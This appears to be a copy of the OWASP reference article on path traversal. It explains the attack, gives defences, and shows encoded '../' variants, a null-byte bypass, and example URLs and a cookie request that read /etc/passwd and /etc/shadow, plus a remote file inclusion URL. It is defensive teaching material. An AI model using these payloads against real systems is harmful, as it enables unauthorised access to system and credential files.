Path Traversal

Overview
A path traversal attack (also known as directory traversal) aims to
access files and
directories that are stored outside the web root
folder. By manipulating variables
that reference files with
“dot-dot-slash (../)” sequences and its variations or by
using
absolute file paths, it may be possible to access arbitrary files and
directories stored on file system including application source code or
configuration and critical system files. It should be noted that access
to files is
limited by system operational access control (such as in the
case of locked or in-
use files on the Microsoft Windows operating
system).

This attack is also known as “dot-dot-slash”, “directory traversal”,

“directory
climbing” and “backtracking”.

Related Security Activities

How to Avoid Path Traversal Vulnerabilities
All but the most simple web applications have to include local resources, such as
images, themes, other scripts, and so on. Every time a resource or file is included
by the application, there is a risk that an attacker may be able to include a file or
remote resource you didn’t authorize.

How to identify if you are vulnerable

 Be sure you understand how the underlying operating system will process
filenames handed off to it.
Don’t store sensitive configuration files inside the web root
For Windows IIS servers, the web root should not be on the system disk, to
prevent recursive traversal back to system directories.

How to protect yourself

Prefer working without user input when using file system calls
Use indexes rather than actual portions of file names when templating or
using language files (ie value 5 from the user submission = Czechoslovakian,
rather than expecting the user to return “Czechoslovakian”)
Ensure the user cannot supply all parts of the path – surround it with your
path code
Validate the user’s input by only accepting known good – do not sanitize
the data
Use chrooted jails and code access policies to restrict where the files can be
obtained or saved to
If forced to use user input for file operations, normalize the input before
using in file io API’s, such as normalize().

How to Test for Path Traversal Vulnerabilities

See the OWASP Testing Guide article on how to
test for path traversal
vulnerabilities.

Description
Request variations
Encoding and double encoding:

%2e%2e%2f represents ../
%2e%2e/ represents ../
..%2f represents ../ 
%2e%2e%5c represents ..\
%2e%2e\ represents ..\ 
..%5c represents ..\ 
%252e%252e%255c represents ..\ 
..%255c represents ..\ 

and so on.

Percent encoding (aka URL encoding)

Note that web containers perform one level of decoding on percent
encoded
values from forms and URLs.

..%c0%af represents ../ 
..%c1%9c represents ..\ 

OS specific
UNIX

Root directory:  “ / “ 

Directory separator: “ / “

WINDOWS

Root directory: “  <partition letter> : \ “

Directory separator: “ / “ or “ \ ” 

Note that windows allows filenames to be followed by extra . \ / characters.

In many operating systems, null bytes %00 can be injected to terminate the
filename. For example, sending a parameter like:

?file=secret.doc%00.pdf

will result in the Java application seeing a string that ends with “.pdf” and the
operating system will see a file that ends in “.doc”. Attackers may use this trick
to bypass validation routines.

Examples
Example 1
The following examples show how the application deals with the resources in
use.

http://some_site.com.br/get-files.jsp?file=report.pdf

http://some_site.com.br/get-page.php?home=aaa.html 
http://some_site.com.br/some-page.asp?page=index.html

In these examples it’s possible to insert a malicious string as the

variable
parameter to access files located outside the web publish
directory.
 http://some_site.com.br/get-files?file=../../../../some dir/some file

http://some_site.com.br/../../../../some dir/some file

The following URLs show examples of *NIX password file exploitation.

http://some_site.com.br/../../../../etc/shadow

http://some_site.com.br/get-files?file=/etc/passwd

Note: In a Windows system an attacker can navigate only in a partition

that
locates web root while in the Linux they can navigate in the whole
disk.

Example 2
It’s also possible to include files and scripts located on external
website.
http://some_site.com.br/some-page?page=http://other-site.com.br/other-
page.htm/malicius-code.php

Example 3
These examples illustrate a case when an attacker made the server show
the CGI
source code.

http://vulnerable-page.org/cgi-bin/main.cgi?file=main.cgi

Example 4
This example was extracted from: Wikipedia - Directory Traversal
A typical example of vulnerable application code is:
 <?php

$template = 'blue.php';

if ( is_set( $_COOKIE['TEMPLATE'] ) )

$template = $_COOKIE['TEMPLATE'];

include ( "/home/users/phpguru/templates/" . $template );

?>

An attack against this system could be to send the following HTTP

request:

GET /vulnerable.php HTTP/1.0

Cookie: TEMPLATE=../../../../../../../../../etc/passwd

Generating a server response such as:

HTTP/1.0 200 OK

Content-Type: text/html

Server: Apache

root:fi3sED95ibqR6:0:1:System Operator:/:/bin/ksh

daemon:*:1:1::/tmp:

phpguru:f8fk3j1OIf31.:182:100:Developer:/home/users/phpguru/:/bin/csh

The repeated ../ characters after /home/users/phpguru/templates/ has

caused
include() to
traverse to the root directory, and then include the UNIX password
file
/etc/passwd.

UNIX etc/passwd is a common file used to demonstrate directory

traversal, as it
is often used by crackers to try cracking the
passwords.
Absolute Path Traversal
The following URLs may be vulnerable to this attack:

http://testsite.com/get.php?f=list
http://testsite.com/get.cgi?f=2

http://testsite.com/get.asp?f=test

An attacker can execute this attack like this:

http://testsite.com/get.php?f=/var/www/html/get.php
http://testsite.com/get.cgi?f=/var/www/html/admin/get.inc

http://testsite.com/get.asp?f=/etc/passwd

When the web server returns information about errors in a web

application, it is
much easier for the attacker to guess the correct
locations (e.g. path to the file
with a source code, which then may be
displayed).

Related Attacks
Path Manipulation
Relative Path Traversal
Resource Injection

Related Vulnerabilities
Improper Data Validation
Related Controls
Input Validation Cheat Sheet

References
http://cwe.mitre.org/data/definitions/22.html
http://www.webappsec.org/projects/threat/classes/path_traversal.shtml